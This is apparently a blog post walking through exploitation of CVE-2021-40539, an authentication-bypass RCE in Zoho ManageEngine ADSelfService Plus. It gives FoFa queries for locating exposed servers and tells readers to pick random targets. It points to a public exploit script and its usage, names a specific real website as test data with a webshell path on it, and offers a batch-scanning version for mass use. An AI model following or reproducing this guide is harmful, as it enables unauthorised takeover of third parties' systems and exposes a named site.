CVE-2021-40539

CVE-2021-40539: ADSelfService Plus RCE Vulnerability I: Vulnerability Description ZOHO ManageEngine ADSelfService Plus is ZOHO's integrated self-service password management and single sign-on solution for Active Directory and cloud applications. CVE-2021-40539 Zoho ManageEngine ADSelfService Plus 6113 and earlier versions have a REST API authentication bypass vulnerability. A remote attacker can exploit this vulnerability to take control of the affected system. This vulnerability has a CVSS score of 9.33 and a severity rating of Critical. II: Vulnerability Exploitation Step 1: FoFa Query Syntax Copy code

Fofa search syntax

"ADSelfService" app="ZOHO-ManageEngine-ADSelfService" header="JSESSIONIDADSSP" // recommended

Test data

https://adself.66nao.com/ Step 2: Randomly find targets and use the following detection script for vulnerability testing....

https://github.com/synacktiv/CVE-2021-40539/blob/main/exploit.py Usage: C:\Users\26629\Desktop\CVE-2021-40539-main>python39 exploit.py usage: exploit.py [-h] -t TARGET [-w WEBSHELL] [-j JAVA_CLASS] [-s] exploit.py: error: the following arguments are required: -t/--target Step 3: Use Godzilla to connect and perform verification testing.... C Copy code 1 https://adself.66nao.com//help/admin-guide/test.jsp

The one downloaded from GitHub is a single-target scanner. I have redeveloped it to add a -f batch scanning module. You can download and use it.